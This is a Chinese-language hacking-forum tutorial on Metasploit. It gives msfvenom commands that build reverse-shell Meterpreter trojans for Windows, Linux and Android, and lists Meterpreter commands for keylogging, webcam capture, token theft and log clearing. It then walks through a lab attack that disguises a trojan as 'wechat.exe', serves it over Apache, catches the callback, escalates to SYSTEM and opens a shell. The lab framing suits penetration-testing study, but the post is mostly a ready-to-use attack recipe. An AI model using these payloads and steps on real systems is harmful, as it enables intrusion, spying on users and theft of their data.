[工具使用] Metasploit(MSF)使用详解

999 0
Honkers 2025-8-25 06:37:35 | 显示全部楼层 |阅读模式

一、概要

在渗透测试中,通常利用Metasplpit Framework和Cobalt Strike生成木马进行使用,本次我们以Metasploit进行演示

二、实验环境

使用机器:
攻击机:kali虚拟机192.168.36.129
靶 机:win8.1 192.168.36.130
(确保你的kali是能够被ping通的,后面会做解释)

三、使用方法

1.基础使用

  1. msfconsole #进入框架
  2. search ms17_010 # 使用search命令查找相关漏洞
  3. use exploit/windows/smb/ms17_010_eternalblue # 使用use选择模块
  4. set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
  5. show options / options #查看模块需要配置的参数
  6. set RHOST ip/ip段 #RHOSTS 参数是要探测主机的ip或ip范围,可以探测一个ip范围内的主机是否存在漏洞
  7. exploit / run #启用监听--攻击
复制代码

示例中是以MS17_010(永恒之蓝)smb漏洞进行攻击,但是现在新版Windows这个漏洞大都被修复了,所以我们用另一种方式进行渗透↓

2.msfvenum模块

常用参数介绍:

  1. -l --list <type> 列出模块的所有可用资源
  2. -p --payload < payload> 也可使用自定义的payload,几乎是支持全平台的(Windows、Linux、iOS、Android)
  3. -a --arch < architecture> 指定payload的目标架构,一般是x86(32位平台)和x64(64位平台)
  4. -o --out < path> 指定创建好的payload的存放位置
  5. -s --space < length> 设定有效攻击荷载的最大长度,就是文件大小(一般木马文件只有几kb)
  6. -i --iterations < count> 指定payload的编码次数(理论上次数越多越容易免杀……但不能代替免杀)
  7. -c --add-code < path> 指定一个附加的win32 shellcode文件
  8. -x --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中(因为做出来的木马文件,运行后并没有任何效果出现,为了更加的真实,可以将木马文件嵌入到一个安装包或压缩包等文件中)
  9. -k --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
  10. --platform < platform> 指定payload的目标平台
复制代码
  • Windows (64/32)
  • 64位
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali-ip LPORT=9999 -f exe -o xxx.exe
复制代码
  • 32位
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali-ip LPORT=9998 -a x86 --platform Windows -f exe -o xxx.exe
复制代码
  • Linux
  1. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali-ip LPORT=9997 -f elf -o xxx.elf
复制代码
  • Android
  1. msfvenom -p android/meterpreter/reverse_tcp LHOST=kali-ip LPORT=9996 -f apk -o xxx.apk
复制代码

3.msfconsole模块

在kali的command窗口中直接输入msfconsole即可进入msf6>

3.1 payload
  • 路径:
  1. /usr/share/metasploit-framework/modules/payloads
复制代码


Payload模块:用于在目标系统上执行特定的操作,例如获取目标系统的Shell访问、上传/下载文件等……

3.2 meterpreter命令

常用命令介绍:

  1. 1. ? -- 帮助菜单(help也可)
  2. 2. background -- 将当前会话移动到背景
  3. 3. channel – 显示活动频道
  4. 4. close – 关闭通道
  5. 5. exit – 终止 meterpreter 会话(quit也可)
  6. 6. use – 加载 meterpreter 的扩展
  7. 7. write – 将数据写入到一个通道
  8. 8. cat -读取并输出到标准输出文件的内容
  9. 9. cd -更改目录对受害人
  10. 10.del -删除文件对受害人
  11. 11.download-从受害者系统文件下载
  12. 12.upload-从攻击者的系统往受害者系统上传文件
  13. 13.edit-用 vim编辑文件
  14. 14.rmdir -受害者系统上删除目录
  15. 15. ipconfig -显示网络接口的关键信息,包括 IP 地址、 等
  16. 16.portfwd -端口转发
  17. 17.route -查看或修改受害者路由表
  18. 18.clearav -清除了受害者的计算机上的事件日志
  19. 19.drop_token -- 被盗的令牌
  20. 20.getpid -- 获取当前进程 ID (PID)
  21. 21.getprivs -- 尽可能获取尽可能多的特权
  22. 22.getsystem -- 获得受害者系统的system权限
  23. 23.getuid -获取作为运行服务器的用户
  24. 24.ps -列出正在运行的进程
  25. 25.kill -终止指定 PID 的进程
  26. 26.reboot-重新启动受害人的计算机
  27. 27.reg -与受害人的注册表进行交互
  28. 28.shell -在受害者计算机上打开一个shell(乱码可用chcp 65001解决)
  29. 29.shutdown-关闭了受害者的计算机
  30. 30.sysinfo -获取有关受害者计算机操作系统和名称等的详细信息
  31. 31.steal_token -尝试窃取指定的 (PID) 进程的令牌
  32. 32.keyscan_dump -键盘记录软件的内容转储
  33. 33.keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
  34. 34.keyscan_stop -停止键盘记录软件
  35. 35.screenshot-抓去 meterpreter 桌面的屏幕截图
  36. 36.timestomp -操作修改,访问,并创建一个文件的属性
  37. 37.webcam_list -- 列出目标系统上所有网络摄像头列表,按数量编号
  38. 38.webcam_snap -- 为指定的网络摄像头拍摄照片
  39. 39.webcam_stream -- 指调用单个软、硬件摄像头直播,默认调用第一个摄像头
  40. 如果一开始就不能执行命令,输入 load stdapi 试试
复制代码

四、实验操作

渗透测试开始:

  • 1.关闭win8.1杀毒软件(因为我们这里没有做木马免杀,如果不关闭那么我们的木马一进入系统就会被杀毒软件直接杀掉,影响后续实验的进行)

  • 防火墙的话,应该问题不大,因为我们这次生成的木马是反向链接,就是我们的Windows机器主动向我们的kali机发出连接请求,只要能确保我们的kali接收到这个请求包就好(也就是开头为什么说“确保你的kali能够被ping通”)
  • 顺便检测一下能否ping通我们的kali
  1. ping 192.168.36.129
复制代码

是可以正常通信的,准备工作已经做完了,下面正式开始吧!

  • 2.木马生成:
    打开我们kali的command输入如下命令:
  1. msfvenum -p windows/x64/meterpreter/reverse_tcp lhost=192.168.36.129 lport=9999 -f exe -o wechat.exe
复制代码


那么现在问题来了,如何让我们的Windows机器下载我们的“微信”呢?

  • 3.打开apache服务:
    kali自带了apache2服务器,通过如下命令即可打开:
  1. /etc/init.d/apache2 start //打开apache2服务
  2. cp wechat.exe /var/www/html //将木马复制到网站根目录内
复制代码

  • 4.开启msf:
  1. msfconsole
复制代码

  • 5.设置msf参数:
  1. msf6> use exploit/multi/handler // 设置handler
  2. msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp //设置payload(攻击载荷)
  3. msf6 exploit(multi/handler) > set lhost 192.168.36.129 //设置lhost(ip)
  4. msf6 exploit(multi/handler) > set lport 9999 //设置lport( 端口)
  5. msf6 exploit(multi/handler) > options //查看配置好的信息
复制代码

  • 6.开始监听:
  1. msf6 exploit(multi/handler) > exploit
复制代码

  • 7.下载“微信”:

打开Windows的浏览器,在地址栏输入kali的ip地址+文件名,然后enter(回车)

  1. 192.168.36.129/wechat.exe
复制代码



下载好后直接双击运行即可↓

  • 6.“受害者”上线:
    我们直接进行一波提权,拥有高权限后问题会少很多
  1. meterpreter > getsystem
复制代码

这里因为我已经拿到过system权限了,所以你们的界面应该和我的不一样

拿到高权限后,那我们打开它的shell把玩一番吧 ︿( ̄︶ ̄)︿

  1. meterpreter > shell
复制代码


chcp 65001是为了解决乱码,Windows和Linux的编码是不一样的
whoami 可以看到我们目前的身份是system

现在我们用一写基础的shell命令来向受害者问个好吧?

此时……受害者的屏幕上:


通过shell也好,或者meterpreter的命令,还有很多有趣的测试,大家可以自行尝试!感谢大家的观看,欢迎大家批评指正,不断学习中!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行